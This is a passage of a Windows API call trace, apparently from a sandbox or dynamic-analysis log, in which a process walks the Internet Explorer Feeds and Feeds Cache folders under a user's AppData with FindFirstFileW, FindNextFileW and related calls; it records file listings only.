lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x33 [0209.497] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.498] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.498] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x5594ace3, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0209.498] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0209.498] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.499] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.499] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1e0dc390, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0209.500] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x5b [0209.500] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1e0dc390, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0209.501] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1e0dc370, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x5c [0209.502] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.502] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.503] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x212086e, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x559692a1, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 1 [0209.503] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.503] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.503] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1e0dc390, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0209.504] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x5b [0209.504] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1e0dc390, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x5b [0209.505] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1e0dc370, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x5c [0209.505] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.506] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.506] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x212086e, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x559692a1, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 1 [0209.506] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x212086e, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x559692a1, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer Suggested Sites~.feed-ms", cAlternateFileName="INTERN~1.FEE")) returned 0 [0209.506] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.507] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x39 [0209.507] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3LKPC1S2", cAlternateFileName="")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BU343QPQ", cAlternateFileName="")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x20fa614, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x20fa614, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMOE4E32", cAlternateFileName="")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O90TLBF4", cAlternateFileName="")) returned 1 [0209.508] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O90TLBF4", cAlternateFileName="")) returned 0 [0209.508] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0209.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.509] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x39 [0209.509] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.509] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.509] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3LKPC1S2", cAlternateFileName="")) returned 1 [0209.509] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BU343QPQ", cAlternateFileName="")) returned 1 [0209.509] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x20fa614, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x20fa614, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.510] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMOE4E32", cAlternateFileName="")) returned 1 [0209.510] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O90TLBF4", cAlternateFileName="")) returned 1 [0209.510] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.510] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.510] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2", lpFilePart=0x0) returned 0x42 [0209.510] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\3lkpc1s2\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.511] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.511] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.511] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.511] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2", lpFilePart=0x0) returned 0x42 [0209.512] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3LKPC1S2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\3lkpc1s2\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, 